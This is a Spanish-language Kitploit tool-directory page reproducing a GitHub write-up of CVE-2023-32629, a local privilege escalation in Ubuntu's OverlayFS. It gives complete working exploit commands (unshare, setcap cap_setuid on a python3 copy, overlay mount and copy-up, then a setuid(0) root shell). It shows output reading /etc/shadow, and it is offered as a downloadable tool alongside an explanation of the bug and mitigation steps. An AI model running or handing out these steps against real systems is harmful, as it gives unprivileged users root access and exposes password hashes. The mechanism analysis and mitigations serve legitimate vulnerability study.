Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-32629 — OverlayFS Escalada de Privilegios Local - Informe completo hasta la escalada total | Kitploit
Herramientas/GitHubGitHub/h3raklez/cve-2023-32629
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubh3raklez/cve-2023-32629

CVE-2023-32629

OverlayFS Escalada de Privilegios Local - Informe completo hasta la escalada total

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-32629 — Escalada de privilegios local total en OverlayFS

Escalada de privilegios local en OverlayFS: análisis completo hasta la escalada total

Solo con fines educativos y de investigación de seguridad autorizada.

Gravedad: Alta
Tipo: Escalada de privilegios local (LPE)
Afectados: kernels de Ubuntu anteriores a los parches de mayo/junio de 2023
Requisito: namespaces de usuario sin privilegios habilitados (por defecto en Ubuntu)


Tabla de contenido

  • Descripción general
  • Conceptos básicos
  • Intento 1 — Copia SUID ingenua
  • Intento 2 — Shell dentro del namespace
  • Exploit funcional
  • Por qué funciona
  • Resumen

Descripción general

CVE-2023-32629 es una vulnerabilidad en la implementación de OverlayFS del kernel de Linux. Abusa de la interacción entre los namespaces de usuario y las capacidades del sistema de archivos durante la operación de copy-up de OverlayFS para lograr una escalada de privilegios local desde cualquier usuario sin privilegios hasta el root real del host.


Conceptos básicos

Namespaces de usuario y mapeo de UID

Cuando ejecutas unshare -r, el kernel crea un nuevo namespace de usuario y mapea tu UID del host al UID 0 dentro de él:

/proc/self/uid_map:
  0  1001  1   ←  "UID 0 inside namespace = UID 1001 (lowpriv) outside"

Esto significa que apareces como root dentro del namespace, pero el kernel del host siempre traduce de vuelta a tu UID real al realizar comprobaciones de permisos del sistema de archivos sobre los recursos del host.

Copy-up en OverlayFS

OverlayFS apila un lowerdir (solo lectura) y un upperdir (lectura-escritura) en una vista combinada. Cuando se escribe en un archivo de lowerdir a través de la vista combinada, el kernel lo copia primero a upperdir — esto se denomina copy-up.

Crítico: el copy-up lo realiza el propio kernel usando las credenciales del host, independientemente del namespace que lo haya provocado. Todos los atributos extendidos (xattrs), incluidas las capacidades del sistema de archivos, se conservan durante esta operación.

Capacidades del sistema de archivos frente a SUID

MecanismoRequiere propiedad de rootOtorgado por
Bit SUID✅ Síchmod u+s
Capacidades (cap_setuid)❌ Nosetcap + xattr de confianza

Esta distinción es el núcleo del exploit. El kernel honra las capacidades basándose únicamente en el xattr, sin importar quién sea el propietario del archivo.


Intento 1 — Copia SUID ingenua

Qué intentamos

unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  cp u/python3 /tmp/rootshell &&
  chmod 4755 /tmp/rootshell
"

/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

Resultado

-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted

Por qué falló

Los comandos cp y chmod se ejecutaron dentro del namespace, donde el UID 0 se mapea a lowpriv en el host. Por lo tanto:

  • /tmp/rootshell pertenecía a lowpriv, no al root real
  • El SUID en un archivo propiedad de lowpriv solo otorga lowpriv — que ya teníamos
  • La operación cp también eliminó los xattrs de capacidad del binario

Intento 2 — Shell dentro del namespace

Qué intentamos

unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"

Resultado

root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied

Por qué falló

La shell era root solo dentro del namespace. Cuando intentó acceder a /etc/shadow, el kernel realizó la comprobación de permisos de VFS usando el UID del host traducido:

Process UID (inside NS):   0        (looks like root)
Kernel translation:        0 → 1001 (lowpriv on host)
/etc/shadow permissions:   640 root:shadow
Effective checker UID:     1001 (lowpriv)
Result:                    EACCES — Permission denied

La burbuja del namespace nunca logra atravesar hasta el root real del host al tocar los recursos del sistema de archivos del host.


Exploit funcional

Pasos

# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr

# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip  ← trusted xattr set on host FS

# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

Resultado

root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...

Por qué funciona

La primitiva vulnerable

1. setcap inside user namespace
        │
        │  writes cap_setuid as trusted xattr on l/python3
        ▼
2. touch m/python3  →  OverlayFS copy-up triggered
        │
        │  kernel copies l/ → u/ using HOST credentials
        │  ALL xattrs preserved, including cap_setuid
        ▼
3. u/python3 exists on HOST filesystem
        │
        │  owner: lowpriv  (irrelevant for capabilities)
        │  xattr: cap_setuid=eip  (kernel trusts this)
        ▼
4. Execute u/python3 OUTSIDE the namespace
        │
        │  no UID mapping in effect
        │  kernel reads cap_setuid=eip as host-level capability
        │  os.setuid(0) → real host root
        ▼
5. Shell has genuine UID 0
        │
        │  VFS checks pass as real root
        └─ /etc/shadow readable

Idea clave

El kernel no debería honrar los xattrs de capacidades de confianza que se establecieron desde un namespace de usuario durante el copy-up, porque esos xattrs conllevan confianza a nivel de host. No imponer este límite es el error.

Dentro del namespaceFuera del namespace
UID 0 significalowpriv (mapeado)root real
Efecto de setuid(0)sin efecto (ya es root del NS)escalada real
Acceso al FS del hosttraducido → lowprivroot completo
cap_setuid honradasolo dentro del NSsí, a nivel de host

Resumen

El namespace nos dio la capacidad de establecer una capacidad de confianza en un archivo; el copy-up del kernel coló esa capacidad en el sistema de archivos del host; ejecutar fuera del namespace la hizo real.


Mitigación

  • Aplica los parches de seguridad de Ubuntu para CVE-2023-32629
  • Deshabilita los namespaces de usuario sin privilegios si no son necesarios:
    sysctl -w kernel.unprivileged_userns_clone=0
    
  • Supervisa combinaciones inesperadas de unshare + mount overlayfs por parte de usuarios sin privilegios

Aviso legal

Esta herramienta se proporciona solo con fines educativos y para pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito por escrito para probar es ilegal. El autor no se hace responsable de ningún uso indebido.

Descargar herramienta